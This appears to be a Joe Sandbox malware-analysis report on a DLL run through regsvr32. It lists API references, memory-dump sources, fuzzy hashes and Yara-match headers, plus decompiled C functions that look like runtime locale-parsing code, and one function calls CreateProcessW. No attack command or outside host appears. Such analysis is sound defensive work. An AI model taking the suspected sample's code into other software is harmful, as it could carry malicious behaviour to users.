0x10032101
0x10032103
0x00000000
0x10032105
0x10032105
0x10032105
0x1003211a
0x1003211a
0x10032103
0x100320f8
0x100320ef
0x100320e6
0x100320bf
0x10032007
0x10032007
0x10032015
0x00000000
0x10032015
0x10032005
0x10031ff2

APIs

GetProcessHeap.KERNEL32 ref: 10031FD5
HeapAlloc.KERNEL32 ref: 10031FE6
GetVersionExA.KERNEL32 ref: 10031FFD
GetProcessHeap.KERNEL32 ref: 10032007
HeapFree.KERNEL32 ref: 10032015

Part of subcall function 1003DCF0: DeleteCriticalSection.KERNEL32(?,?,?,?,1003216C), ref: 1003DD39

Part of subcall function 10035D70: FlsFree.KERNEL32(?,?,?,?,10032171), ref: 10035D7F
Part of subcall function 10035D70: TlsFree.KERNEL32(?,?,?,?,10032171), ref: 10035D9A

Part of subcall function 10034240: HeapDestroy.KERNEL32(?,?,?,?,10032176), ref: 1003424B

GetProcessHeap.KERNEL32 ref: 1003204E
HeapFree.KERNEL32 ref: 1003205C
GetCommandLineA.KERNEL32 ref: 100320C6

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Heap$Free$Process$AllocCommandCriticalDeleteDestroyLineSectionVersion
String ID:
API String ID: 4041283029-0
Opcode ID: e16fe38f65159988bc44b9bccd2654988285a9855682c739c08e51bb8db241b3
Instruction ID: 70de12403251b8b8dc4719e2d56691f28818c15deb23f6e9100adbef2ee75922
Opcode Fuzzy Hash: e16fe38f65159988bc44b9bccd2654988285a9855682c739c08e51bb8db241b3
Instruction Fuzzy Hash: 0A51B339B00B418EDB46DF25AC4534A7391FB88BD6F484125EB498B766EE7CE490CB11

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180009AC0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000180009D10

Strings

}n, xrefs: 0000000180009CBC
bC, xrefs: 0000000180009C2F
'!, xrefs: 0000000180009CCA

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: '!$bC$}n
API String ID: 963392458-3506391556
Opcode ID: 8a104a47ae7361bf1f9a388866478f6b222e166dd5d5b4a97f87296e966f62ab
Instruction ID: 3de7fa8d816b0315ff673ce6983a103533b6c724d97913c19d9a9a8321879380
Opcode Fuzzy Hash: 8a104a47ae7361bf1f9a388866478f6b222e166dd5d5b4a97f87296e966f62ab
Instruction Fuzzy Hash: 7A61127091C7848FD7B8DF18D48979ABBE0FB88314F208A5EE48DD7255DB749888CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800143B4 Relevance: 7.1, Strings: 5, Instructions: 891
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

mwM, xrefs: 0000000180014CF0
u&P, xrefs: 00000001800150F0
sl0, xrefs: 0000000180014BB9
nG{b, xrefs: 00000001800152BB
]YK, xrefs: 0000000180014C90

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ]YK$mwM$nG{b$u&P$sl0
API String ID: 0-2892081849
Opcode ID: 33bc90c96b893df8ca5d33e6c5d5a00dde3e134ba9fcb3f1384824a954d8c5fa
Instruction ID: 79aaf824081a6553d374385dae03335820f97174fd45ecdf7a008ac49b1da933
Opcode Fuzzy Hash: 33bc90c96b893df8ca5d33e6c5d5a00dde3e134ba9fcb3f1384824a954d8c5fa
Instruction Fuzzy Hash: 7CA2077051078D8BDB88CF24C89A5DE3BA1FB58398F52531CFC4AA72A0D778D595CB88

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A788 Relevance: 5.2, Strings: 4, Instructions: 212
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hT, xrefs: 000000018001A7FB
|[, xrefs: 000000018001A89C
-5L~, xrefs: 000000018001AA59
{x, xrefs: 000000018001A887

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -5L~$hT${x$|[
API String ID: 0-3023370540
Opcode ID: d737631bb945c47eb1d69c93bc395b2ea3ee8f64528f46e9e83f1e75d95fada0
Instruction ID: 141d21be0507c78fd2d5d48a4ec772b18baddeb1ec4e7e37fe9677fd8771db26
Opcode Fuzzy Hash: d737631bb945c47eb1d69c93bc395b2ea3ee8f64528f46e9e83f1e75d95fada0
Instruction Fuzzy Hash: F8A108B050474E8BDB89CF24C8866DE3FB0FB58398F555219FC4AA62A0C778D695CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800018F0 Relevance: 4.1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Dm, xrefs: 0000000180001908
Oh, xrefs: 0000000180001911
5 l, xrefs: 0000000180001CCA

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 5 l$Dm$Oh
API String ID: 0-3537663504
Opcode ID: 3953ee320f05890604715309f524d5627a3b7a20d9962e59c52cc612dcc0a4e8
Instruction ID: c8cb8cea30923e4e3c2f11feab5b04aa3e6177000e5f3a8ef4c80ff0271c9a61
Opcode Fuzzy Hash: 3953ee320f05890604715309f524d5627a3b7a20d9962e59c52cc612dcc0a4e8
Instruction Fuzzy Hash: 9312F47161068DEFDB9CCF28C89AA9D3BB1FB48354F90621DFD068A290D775D985CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180003B78 Relevance: 4.1, Strings: 3, Instructions: 334
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^%, xrefs: 0000000180003CA0
GZ,, xrefs: 0000000180003CD1
's, xrefs: 0000000180004046

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 's$GZ,$^%
API String ID: 0-433918789
Opcode ID: bf8618e79075e41a338e403247f175e319e27ffc3a6001ff8beb51e2dc20fc87
Instruction ID: 7a8fb05ba23030e5e419e78bd73a973be2a84fa5c1899c1ce375a36c973b0d36
Opcode Fuzzy Hash: bf8618e79075e41a338e403247f175e319e27ffc3a6001ff8beb51e2dc20fc87
Instruction Fuzzy Hash: A7F14B7190570CDFDBA9CFA8D08A6DDBBF1FF44348F004129E906A7290D7B9991ACB49

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800247AC Relevance: 4.0, Strings: 3, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

b^, xrefs: 00000001800247ED
m$w$, xrefs: 0000000180024890
]S, xrefs: 0000000180024B27

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ]S$b^$m$w$
API String ID: 0-756679452
Opcode ID: 7fc42d03d5d4c805420c219f9c74370db15606bba7290a74ece58895904fbcaf
Instruction ID: 8c4ae399629c4047308d96fcd4ebccf4d28eacc792c90d47525ced318faa9cad
Opcode Fuzzy Hash: 7fc42d03d5d4c805420c219f9c74370db15606bba7290a74ece58895904fbcaf
Instruction Fuzzy Hash: 16A1B07151A784ABD398DF24C5CAA5FBBE0FBC4744F806A1DF886872A0D774D909CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000DC7C Relevance: 2.8, Strings: 2, Instructions: 263COMMON

Download Yara Rule

Strings

>C, xrefs: 000000018000E166
\, xrefs: 000000018000E13B

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: >C$\
API String ID: 0-3476062086
Opcode ID: 0d2d8001181839a40c381ad05da49becd43b0dfb096d201cbb0d1f686b6046d6
Instruction ID: dbf6f297f5923d7cedfeb3bb270a296888ff6fa21deccc90a8768252909814a2
Opcode Fuzzy Hash: 0d2d8001181839a40c381ad05da49becd43b0dfb096d201cbb0d1f686b6046d6
Instruction Fuzzy Hash: B4E1F7716047889FDBBACF24CC897DE3BA8FB46708F500219E9CA8E294DB745745CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002AC7C Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

Vwfn, xrefs: 000000018002ACEA
#X, xrefs: 000000018002AD29

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$Vwfn
API String ID: 0-3987881568
Opcode ID: 75336a74c53bd5d67d933cd403f0c8f28afa6d9cbdff998d2b770aa8886903f7
Instruction ID: 0a6616e387e5391ca549d6267907eb030fda13fee0114008a144a4aed09f1e26
Opcode Fuzzy Hash: 75336a74c53bd5d67d933cd403f0c8f28afa6d9cbdff998d2b770aa8886903f7
Instruction Fuzzy Hash: A16126B0D1474E8BDF88CFA8C98A5EEBBF0FB48304F504219E905A7290D7789A45CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800184BC Relevance: 2.6, Strings: 2, Instructions: 148COMMON

Download Yara Rule

Strings

m, xrefs: 0000000180018709
,, xrefs: 000000018001863E

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,$m
API String ID: 0-3194143137
Opcode ID: a4ba080e6de25e99dc7b401e96668f88d16106f055d4d28aa46a17de2ba770e1
Instruction ID: 952f58164526687a72abe63cab4a60020dd386cbbf7728681c31dcca559520f7
Opcode Fuzzy Hash: a4ba080e6de25e99dc7b401e96668f88d16106f055d4d28aa46a17de2ba770e1
Instruction Fuzzy Hash: D671DCB151C3848BD768DF28C58A51BBBF1FBC6748F00491DF69A862A0D7B6D908CB03

Uniqueness

Uniqueness Score: -1.00%

Function 1003BC30 Relevance: .2, Instructions: 184
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E1003BC30(void* __ebx, signed int __ecx, void* __edx, long long __rbx, long long __rcx, char* __rdx, signed long long __rdi, long long __rsi, long long __rbp, signed int __r8, signed long long __r9, void* __r10, signed long long __r12, signed int __r13, long long __r14, long long __r15, void* _a32) {
				void* _v8;
				void* _v16;
				void* _v24;
				void* _v32;
				void* _v40;
				void* _v48;
				void* _v56;
				signed int _v72;
				char _v216;
				long long _v224;
				signed int _v232;
				signed int _v240;
				long long _v248;
				signed int _t55;
				signed int _t63;
				signed int _t67;
				signed int _t72;
				signed int _t75;
				signed int _t77;
				signed long long _t81;
				signed long long _t82;
				intOrPtr* _t112;
				long long _t113;
				signed long long _t115;
				signed long long _t120;

				_t126 = __r14;
				_t123 = __r13;
				_t121 = __r12;
				_t119 = __r10;
				_t118 = __r9;
				_t116 = __r8;
				_t113 = __rbp;
				_t105 = __rdi;
				_t102 = __rdx;
				_t89 = __rcx;
				_t87 = __rbx;
				_t65 = __edx;
				_t64 = __ecx;
				_t62 = __ebx;
				_t120 = _t115;
				_t81 =  *0x100b1640; // 0xf93099fb11e7
				_t82 = _t81 ^ _t115;
				_v72 = _t82;
				 *((long long*)(_t120 + 0x20)) = __rbx;
				 *((long long*)(_t120 - 8)) = __rbp;
				 *((long long*)(_t120 - 0x10)) = __rsi;
				 *((long long*)(_t120 - 0x18)) = __rdi;
				 *((long long*)(_t120 - 0x20)) = __r12;
				 *((long long*)(_t120 - 0x28)) = __r13;
				 *((long long*)(_t120 - 0x30)) = __r14;
				 *((long long*)(_t120 - 0x38)) = __r15;
				_t129 = __rcx;
				_t110 = __r8;
				_v224 = __rcx;
				if(__edx == 0) {
					__eflags = __r8;
					_t72 = 1;
					_v232 = 1;
					r14d = 0;
					if(__r8 == 0) {
						L44:
						E1003B380(_t82, _t87, _t89, _t102, _t105, _t110, _t113, _t116, _t121, _t123, _t126, _t129); // executed
						L45:
						return E1002FF40(_t64, _v72 ^ _t115);
					}
					__eflags =  *__r8 - 0x4c;
					if( *__r8 != 0x4c) {
						L28:
						_t102 =  &_v216;
						r9d = 0;
						r8d = 0x83;
						_v240 = 0;
						_v248 = _t113;
						E1003B5D0(_t62, _t64, _t65, _t87, _t110,  &_v216, _t105, _t110, _t113, _t116, _t118, _t121, _t123, _t126, _t129);
						__eflags = _t82;
						if(_t82 == 0) {
							goto L45;
						}
						_t63 = 0;
						_t112 = _t129 + 0x48;
						do {
							__eflags = _t63;
							if(_t63 == 0) {
								goto L40;
							}
							_t82 =  &_v216;
							_t105 =  *_t112 - _t82;
							__eflags = _t105;
							while(1) {
								_t64 =  *(_t82 + _t105) & 0x000000ff;
								_t67 = ( *_t82 & 0x000000ff) - _t64;
								__eflags = _t67;
								if(_t67 != 0) {
									break;
								}
								_t82 = _t82 + 1;
								__eflags = _t64;
								if(_t64 != 0) {
									continue;
								}
								break;
							}
							__eflags = _t67;
							if(__eflags == 0) {
								r14d = r14d + 1;
							} else {
								_t116 =  &_v216;
								E1003B8A0(_t63, _t64, _t63, __eflags, _t87, _t129, _t102, _t105, _t112,  &_v216, _t119, _t121, _t123, _t126, _t129);
								__eflags = _t82;
								if(_t82 == 0) {
									_t75 = 0;
									_v232 = 0;
								} else {
									_t75 = _v232;
									r14d = r14d + 1;
								}
							}
							L40:
							_t63 = _t63 + 1;
							_t112 = _t112 + 0x20;
							__eflags = _t63 - 5;
						} while (_t63 <= 5);
						__eflags = _t75;
						if(_t75 != 0) {
							L43:
							_t89 = _t129; // executed
							goto L44;
						}
						__eflags = r14d;
						if(r14d == 0) {
							goto L45;
						}
						goto L43;
					}
					__eflags =  *((char*)(__r8 + 1)) - 0x43;
					if( *((char*)(__r8 + 1)) != 0x43) {
						goto L28;
					}
					__eflags =  *((char*)(__r8 + 2)) - 0x5f;
					if( *((char*)(__r8 + 2)) != 0x5f) {
						goto L28;
					}
					while(1) {
						E10048050(_t110, 0x1009c2c4, _t116);
						__eflags = _t82;
						_t121 = _t82;
						if(_t82 == 0) {
							break;
						}
						_t123 = _t82 - _t110;
						__eflags = _t123;
						if(_t123 == 0) {
							break;
						}
						__eflags =  *_t82 - 0x3b;
						if( *_t82 == 0x3b) {
							break;
						}
						_t77 = _t72;
						_t87 = 0x1009c1b8;
						do {
							_t116 = _t123;
							_t55 = E10047F90(_t64,  *_t87, _t110, _t123);
							__eflags = _t55;
							if(_t55 != 0) {
								goto L15;
							}
							asm("repne scasb");
							__eflags = _t123 - 0xbadbac;
							if(_t123 == 0xbadbac) {
								break;
							}
							L15:
							_t87 = _t87 + 0x18;
							_t77 = _t77 + 1;
							__eflags = _t87 - 0x1009c218;
						} while (_t87 <= 0x1009c218);
						_t102 = ";";
						_t16 = _t121 + 1; // 0x1
						E10042F00(_t16, ";", _t116, _t118);
						_t129 = _v224;
						__eflags = _t82;
						_t105 = _t82;
						if(_t82 != 0) {
							L18:
							__eflags = _t77 - 5;
							if(_t77 <= 5) {
								_t19 = _t121 + 1; // 0x1
								_t117 = _t19;
								_t118 = _t82;
								__eflags = E10032700(_t82, _t87,  &_v216, _t102, _t105, _t110, _t113, _t19, _t82);
								if(__eflags != 0) {
									r9d = 0;
									r8d = 0;
									_t64 = 0;
									__eflags = 0;
									_v248 = 0;
									E100342D0(0, _t102, _t117);
								}
								_t116 =  &_v216;
								 *((char*)(_t115 + _t105 + 0x40)) = 0;
								E1003B8A0(_t62, _t64, _t77, __eflags, _t87, _t129, _t102, _t105, _t110,  &_v216, _t119, _t121, _t123, _t126, _t129);
								__eflags = _t82;
								if(_t82 != 0) {
									r14d = r14d + 1;
									__eflags = r14d;
								}
							}
							__eflags =  *((char*)(_t105 + _t121 + 1));
							_t28 = _t121 + 1; // 0x1
							_t110 = _t105 + _t28;
							if( *((char*)(_t105 + _t121 + 1)) == 0) {
								L26:
								__eflags = r14d;
								if(r14d != 0) {
									goto L43;
								}
								break;
							} else {
								_t110 = _t110 + 1;
								__eflags =  *_t110;
								if( *_t110 == 0) {
									goto L26;
								}
								_t72 = 1;
								continue;
							}
						}
						__eflags =  *((char*)(_t121 + 1)) - 0x3b;
						if( *((char*)(_t121 + 1)) != 0x3b) {
							break;
						}
						goto L18;
					}
					goto L45;
				}
				_t79 = __r8;
				if(__r8 != 0) {
					E1003B8A0(__ebx, __ecx, __edx, _t79, __rbx, __rcx, __rdx, __rdi, __r8, __r8, __r10, __r12, __r13, __r14, __rcx);
				}
				goto L45;
			}

0x1003bc30
0x1003bc30
0x1003bc30
0x1003bc30
0x1003bc30
0x1003bc30
0x1003bc30
0x1003bc30
0x1003bc30
0x1003bc30
0x1003bc30
0x1003bc30
0x1003bc30
0x1003bc30
0x1003bc30
0x1003bc3a
0x1003bc41
0x1003bc44
0x1003bc4e
0x1003bc52
0x1003bc56
0x1003bc5a
0x1003bc5e
0x1003bc62
0x1003bc66
0x1003bc6a
0x1003bc6e
0x1003bc71
0x1003bc74
0x1003bc79
0x1003bc9d
0x1003bca0
0x1003bca5
0x1003bca9
0x1003bcac
0x1003bea3
0x1003bea3
0x1003bea8
0x1003beff
0x1003beff
0x1003bcb2
0x1003bcb6
0x1003be03
0x1003be03
0x1003be08
0x1003be0b
0x1003be14
0x1003be18
0x1003be1d
0x1003be22
0x1003be25
0x00000000
0x00000000
0x1003be2b
0x1003be2d
0x1003be31
0x1003be31
0x1003be33
0x00000000
0x1003be87
0x1003be38
0x1003be3d
0x1003be3d
0x1003be40
0x1003be43
0x1003be47
0x1003be47
0x1003be49
0x00000000
0x00000000
0x1003be4b
0x1003be4f
0x1003be51
0x00000000
0x00000000
0x00000000
0x1003be51
0x1003be53
0x1003be55
0x1003be81
0x1003be57
0x1003be57
0x1003be61
0x1003be66
0x1003be69
0x1003be75
0x1003be77
0x1003be6b
0x1003be6b
0x1003be6f
0x1003be6f
0x1003be69
0x1003be8b
0x1003be8b
0x1003be8e
0x1003be92
0x1003be92
0x1003be97
0x1003be99
0x1003bea0
0x1003bea0
0x00000000
0x1003bea0
0x1003be9b
0x1003be9e
0x00000000
0x1003bf00
0x00000000
0x1003be9e
0x1003bcbc
0x1003bcc1
0x00000000
0x00000000
0x1003bcc7
0x1003bccc
0x00000000
0x00000000
0x1003bce0
0x1003bcea
0x1003bcef
0x1003bcf2
0x1003bcf5
0x00000000
0x00000000
0x1003bcfe
0x1003bcfe
0x1003bd01
0x00000000
0x00000000
0x1003bd07
0x1003bd0a
0x00000000
0x00000000
0x1003bd10
0x1003bd12
0x1003bd20
0x1003bd23
0x1003bd29
0x1003bd2e
0x1003bd30
0x00000000
0x00000000
0x1003bd3e
0x1003bd47
0x1003bd4a
0x00000000
0x00000000
0x1003bd4c
0x1003bd4c
0x1003bd50
0x1003bd53
0x1003bd53
0x1003bd58
0x1003bd5f
0x1003bd64
0x1003bd69
0x1003bd6e
0x1003bd71
0x1003bd74
0x1003bd7e
0x1003bd7e
0x1003bd81
0x1003bd83
0x1003bd83
0x1003bd8d
0x1003bd9a
0x1003bd9c
0x1003bd9e
0x1003bda1
0x1003bda6
0x1003bda6
0x1003bda8
0x1003bdb1
0x1003bdb1
0x1003bdb6
0x1003bdc0
0x1003bdc5
0x1003bdca
0x1003bdcd
0x1003bdcf
0x1003bdcf
0x1003bdcf
0x1003bdcd
0x1003bdd3
0x1003bdd9
0x1003bdd9
0x1003bdde
0x1003bdf3
0x1003bdf3
0x1003bdf6
0x00000000
0x00000000
0x00000000
0x1003bde0
0x1003bde0
0x1003bde4
0x1003bde7
0x00000000
0x00000000
0x1003bde9
0x00000000
0x1003bde9
0x1003bdde
0x1003bd76
0x1003bd7c
0x00000000
0x00000000
0x00000000
0x1003bd7c
0x00000000
0x1003bdfc
0x1003bc7b
0x1003bc7e
0x1003bc80
0x1003bc80
0x00000000

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b522def693dc4f07b672e9c036c12ee00d0e81b5b8cc2325779b8c1224905d0
Instruction ID: d7414085627cf73e30d182492bb1a961380abf7170ce5ec77291f067cd7cb59d
Opcode Fuzzy Hash: 1b522def693dc4f07b672e9c036c12ee00d0e81b5b8cc2325779b8c1224905d0
Instruction Fuzzy Hash: 8661EE76B18FC58AEB62CB15A0403AA77A1F789BC9F564026DF8D4BB05EF39D905C700

Uniqueness

Uniqueness Score: -1.00%

Function 1003B380 Relevance: .1, Instructions: 143
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E1003B380(signed int* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, signed long long __r12, long long __r13, long long __r14, long long __r15, long long _a8, long long _a16, long long _a24, long long _a32) {
				long long _v8;
				long long _v16;
				long long _v24;
				long long _v32;
				signed int* _v56;
				long long _v64;
				long long _v72;
				void* _t54;
				signed int _t56;
				signed int _t59;
				signed int _t66;
				signed int _t71;
				signed int* _t76;
				signed int _t78;
				signed char* _t79;
				signed long long _t81;
				void* _t87;
				long long _t104;
				intOrPtr* _t105;
				long long _t107;
				signed int _t108;
				long long _t110;
				signed int _t111;
				signed int _t117;
				intOrPtr _t118;
				intOrPtr _t119;
				signed long long _t120;
				intOrPtr* _t124;
				intOrPtr* _t127;
				signed long long _t130;

				_t120 = __r12;
				_t110 = __rbp;
				_t107 = __rsi;
				_t104 = __rdi;
				_t103 = __rdx;
				_t76 = __rax;
				_a8 = __rbx;
				_t87 = __rcx;
				_a16 = __rbp;
				_v8 = __r12;
				r12d = 1; // executed
				_t54 = E10038810(0x355, __rax, __rcx, __rcx, __rdi, __rsi, __rbp); // executed
				_v56 = _t76;
				if(_t76 != 0) {
					_a24 = _t107;
					_t9 =  &(_t76[1]); // 0x4
					_t108 = _t9;
					_a32 = _t104;
					 *_t108 = 0;
					 *_t76 = r12d;
					_t118 =  *0x1009c1b8; // 0x1009c188
					_v64 =  *((intOrPtr*)(_t87 + 0x68));
					_t78 = 0x1009c2bc;
					_v16 = __r13;
					_t105 = _t87 + 0x68;
					r8d = 3;
					_v24 = __r14;
					_v72 = 0x1009c2bc;
					_v32 = __r15;
					E1003B030(0x351, _t87, _t108, __rdx, _t105, _t108, _t110, _t118, __r12);
					_t130 = _t120;
					_t127 = 0x1009c1b8;
					_t124 = _t87 + 0x88;
					__eflags = 0;
					do {
						_t56 = E10033BA0(_t78, _t87, _t108, _t103, _t105, _t108, _t110, ";");
						__eflags = _t56;
						if(_t56 != 0) {
							r9d = 0;
							r8d = 0;
							__eflags = 0;
							_v72 = _t110;
							E100342D0(0, _t103, ";");
						}
						_t79 =  *_t105;
						_t117 =  *_t124 - _t79;
						__eflags = _t117;
						while(1) {
							_t66 = _t79[_t117] & 0x000000ff;
							_t71 = ( *_t79 & 0x000000ff) - _t66;
							__eflags = _t71;
							if(_t71 != 0) {
								goto L8;
							}
							_t79 =  &(_t79[1]);
							__eflags = _t66;
							if(_t66 != 0) {
								continue;
							}
							goto L8;
						}
						L8:
						_t119 =  *((intOrPtr*)(_t127 + 0x18));
						__eflags = _t71;
						r8d = 3;
						r12d =  !=  ? 0 : r12d;
						_t130 = _t130 + 1;
						_t127 = _t127 + 0x18;
						_t81 = _t130 << 5;
						_t124 = _t124 + 0x20;
						_t105 = _t87 + 0x48 + _t81;
						_v64 =  *((intOrPtr*)(_t87 + 0x48 + _t81));
						_v72 = 0x1009c2bc;
						E1003B030(0x351, _t87, _t108, _t103, _t105, _t108, _t110, _t119, _t120);
						_t78 = 0x1009c218;
						__eflags = _t127 - 0x1009c218;
					} while (_t127 < 0x1009c218);
					__eflags = r12d;
					_t111 = _v56;
					if(r12d != 0) {
						E1002E330(0x1009c218, _t111);
						__eflags =  *(_t87 + 0x58);
						if(__eflags != 0) {
							asm("lock add dword [ecx], 0xffffffff");
							if(__eflags == 0) {
								E1002E330(0x1009c218,  *(_t87 + 0x58));
							}
						}
						__eflags =  *(_t87 + 0x60);
						if(__eflags != 0) {
							asm("lock add dword [ecx], 0xffffffff");
							if(__eflags == 0) {
								E1002E330(_t78,  *(_t87 + 0x60));
							}
						}
						_t59 = 0;
						__eflags = 0;
						 *(_t87 + 0x60) = _t78;
						 *(_t87 + 0x50) = _t78;
						 *(_t87 + 0x58) = _t78;
						 *(_t87 + 0x48) = _t78;
					} else {
						__eflags =  *(_t87 + 0x58);
						if(__eflags != 0) {
							asm("lock add dword [ecx], 0xffffffff");
							if(__eflags == 0) {
								E1002E330(0x1009c218,  *(_t87 + 0x58));
							}
						}
						__eflags =  *(_t87 + 0x60);
						if(__eflags != 0) {
							asm("lock add dword [ecx], 0xffffffff");
							if(__eflags == 0) {
								E1002E330(_t78,  *(_t87 + 0x60));
							}
						}
						_t59 = 0;
						 *(_t87 + 0x58) = _t111;
						 *(_t87 + 0x48) = _t108;
						 *(_t87 + 0x60) = _t78;
						 *(_t87 + 0x50) = _t78;
					}
					return _t59;
				} else {
					return _t54;
				}
			}

0x1003b380
0x1003b380
0x1003b380
0x1003b380
0x1003b380
0x1003b380
0x1003b384
0x1003b389
0x1003b391
0x1003b396
0x1003b39b
0x1003b3a1
0x1003b3a9
0x1003b3ae
0x1003b3c4
0x1003b3cc
0x1003b3cc
0x1003b3d0
0x1003b3d8
0x1003b3db
0x1003b3e2
0x1003b3e9
0x1003b3ee
0x1003b3f5
0x1003b3fa
0x1003b403
0x1003b40c
0x1003b411
0x1003b416
0x1003b41b
0x1003b420
0x1003b423
0x1003b42a
0x1003b431
0x1003b440
0x1003b44f
0x1003b454
0x1003b456
0x1003b458
0x1003b45b
0x1003b460
0x1003b462
0x1003b467
0x1003b467
0x1003b46c
0x1003b473
0x1003b473
0x1003b480
0x1003b483
0x1003b488
0x1003b488
0x1003b48a
0x00000000
0x00000000
0x1003b48c
0x1003b490
0x1003b492
0x00000000
0x00000000
0x00000000
0x1003b492
0x1003b494
0x1003b494
0x1003b498
0x1003b49a
0x1003b4a0
0x1003b4a4
0x1003b4a8
0x1003b4b7
0x1003b4bb
0x1003b4bf
0x1003b4c9
0x1003b4d5
0x1003b4da
0x1003b4df
0x1003b4e6
0x1003b4e6
0x1003b4ef
0x1003b501
0x1003b506
0x1003b552
0x1003b55b
0x1003b55e
0x1003b560
0x1003b564
0x1003b56a
0x1003b56a
0x1003b564
0x1003b573
0x1003b576
0x1003b578
0x1003b57c
0x1003b582
0x1003b582
0x1003b57c
0x1003b587
0x1003b587
0x1003b589
0x1003b58d
0x1003b591
0x1003b595
0x1003b508
0x1003b50c
0x1003b50f
0x1003b511
0x1003b515
0x1003b51b
0x1003b51b
0x1003b515
0x1003b524
0x1003b527
0x1003b529
0x1003b52d
0x1003b533
0x1003b533
0x1003b52d
0x1003b538
0x1003b53a
0x1003b53e
0x1003b542
0x1003b546
0x1003b54a
0x1003b5c3
0x1003b3b0
0x1003b3c3
0x1003b3c3

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
